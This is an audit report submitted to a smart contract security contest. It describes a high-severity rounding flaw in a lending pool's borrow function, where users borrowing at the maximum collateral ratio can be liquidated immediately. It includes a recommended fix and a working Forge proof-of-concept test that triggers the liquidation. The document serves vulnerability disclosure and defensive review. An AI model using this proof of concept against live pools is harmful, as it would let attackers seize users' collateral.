Bobface

high

# Users borrowing at maximum collateral ratio can be immediately liquidated

## Summary
Users who borrow from the pool at the maximum allowed collateralization ratio can be immediately liquidated, even though the [`borrow`](https://github.com/sherlock-audit/2023-02-surge/blob/main/surge-protocol-v1/src/Pool.sol#L455) method checks that this should not be the case.

## Vulnerability Detail
[`Pool.borrow()`](https://github.com/sherlock-audit/2023-02-surge/blob/main/surge-protocol-v1/src/Pool.sol#L455) handles user loan token borrows. A user is allowed to borrow up to a maximum collateralization ratio:

```solidity
uint _debtSharesSupply = debtSharesSupply;
uint userDebt = getDebtOf(debtSharesBalanceOf[msg.sender], _debtSharesSupply, _currentTotalDebt) + amount;
uint userCollateralRatioMantissa = userDebt * 1e18 / collateralBalanceOf[msg.sender];
require(userCollateralRatioMantissa <= _currentCollateralRatioMantissa, "Pool: user collateral ratio too high");
```

This block should prevent users from borrowing too much `loanToken` from the pool and thus being immediately liquidatable. Further down in the method's body, the `debtShares` are calculated and added to the user's account:

```solidity
uint _shares = tokenToShares(amount, _currentTotalDebt, _debtSharesSupply, true);
_currentTotalDebt += amount;

// commit current state
debtSharesBalanceOf[msg.sender] += _shares;
debtSharesSupply = _debtSharesSupply + _shares;
```

The issue here is that when `true` is passed as the last parameter `roundUpCheck` to `tokenToShares`, the result is rounded up if necessary:
```solidity
if(_supplied == 0) return _tokenAmount;
uint shares = _tokenAmount * _sharesTotalSupply / _supplied;
if(roundUpCheck && shares * _supplied < _tokenAmount * _sharesTotalSupply) shares++;
return shares;
```

This results in the user being credited a minimally larger amount of debt than they actually owe. This only happens after the collateralization ratio check and is not detected by any later checks.

## Impact

The minimal excess debt is enough to push the user into being undercollateralized and thus liquidatable via `liquidate()`. This results in the user immediately losing all deposited funds, as liquidations do not pay back collateral to the liquidated users (see logic in `liquidate()`).

## Recommendation
In `borrow()`, perform the collateralization ratio check only after the shares have been added to the user's account:
```solidity
// ...

/* --- Current location of collateralization check --- */

uint _newUtil = getUtilizationMantissa(_currentTotalDebt + amount, (_currentTotalDebt + _loanTokenBalance));
require(_newUtil <= SURGE_MANTISSA, "Pool: utilization too high");

uint _shares = tokenToShares(amount, _currentTotalDebt, _debtSharesSupply, true);
_currentTotalDebt += amount;

// commit current state
debtSharesBalanceOf[msg.sender] += _shares;
debtSharesSupply = _debtSharesSupply + _shares;
totalSupply = _currentTotalSupply;
lastTotalDebt = _currentTotalDebt;
lastAccrueInterestTime = block.timestamp;
lastCollateralRatioMantissa = _currentCollateralRatioMantissa;

/* --- New location of collateralization check --- */
uint _debtSharesSupply = debtSharesSupply;
uint userDebt = getDebtOf(debtSharesBalanceOf[msg.sender], _debtSharesSupply, _currentTotalDebt) + amount;
uint userCollateralRatioMantissa = userDebt * 1e18 / collateralBalanceOf[msg.sender];
require(userCollateralRatioMantissa <= _currentCollateralRatioMantissa, "Pool: user collateral ratio too high");

// ...
```

## Tool used

Manual Review


## Code Snippet
The PoC is implemented as Forge test. Add the following code as `Liquidation.t.sol` to `/test` and run it using `forge test -m testLiquidations -vv`. You should see output similar to this:
```bash
Running 1 test for test/Liquidation.t.sol:Liquidation
[PASS] testLiquidations() (gas: 9750646)
Logs:
  Liquidated user
```

Code:
```solidity
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.17;

import "forge-std/Test.sol";

import "../src/Pool.sol";
import "../src/Factory.sol";

contract Liquidation is Test {
    function testLiquidations() external {
        // Deploy the loan token
        TestingERC20 loanToken = new TestingERC20();

        // Deploy the collateral token
        TestingERC20 collateralToken = new TestingERC20();

        // Deploy the factory
        Factory factory = new Factory(address(this), "test");

        // Deploy the pool
        Pool pool = factory.deploySurgePool(
            IERC20(address(collateralToken)),
            IERC20(address(loanToken)),
            uint256(10**36) / uint256(3 * 10**18),
            1 ether - 1,
            1,
            1,
            1 ether - 1,
            1 ether - 1,
            1 ether - 1
        );

        // Seed the pool with loan tokens,
        // just so we don't run into utilization issues.
        loanToken.mint(address(pool), 100_000);

        // Deposit and borrow some funds
        User someUser = new User(pool, collateralToken);
        someUser.addCollateral(100);
        someUser.borrow(10);

        // Simulate accruing interest
        vm.warp(block.timestamp + 5_000_000);
        vm.roll(block.number + 1);

        // The user who will be liquidated enters the pool at maximum collateral ratio
        User liquidatedUser = new User(pool, collateralToken);
        liquidatedUser.addCollateral(3);
        liquidatedUser.borrow(1);

        // Gets immediately liquidated
        loanToken.mint(address(this), 2);
        pool.liquidate(address(liquidatedUser), type(uint256).max);
        console.log("Liquidated user");
    }
}

contract User is Test {
    Pool pool;
    TestingERC20 collateralToken;

    constructor(Pool _pool, TestingERC20 _collateralToken) {
        pool = _pool;
        collateralToken = _collateralToken;
    }

    function addCollateral(uint256 amount) external {
        deal(address(collateralToken), address(this), amount);
        pool.addCollateral(address(this), amount);
    }

    function borrow(uint256 amount) external {
        pool.borrow(amount);
    }
}

contract TestingERC20 {
    mapping(address => uint256) public balanceOf;

    function mint(address addr, uint256 amount) external {
        balanceOf[addr] += amount;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public {
        balanceOf[from] -= amount;
        balanceOf[to] += amount;
    }

    function transfer(address to, uint256 amount) external {
        transferFrom(msg.sender, to, amount);
    }
}

```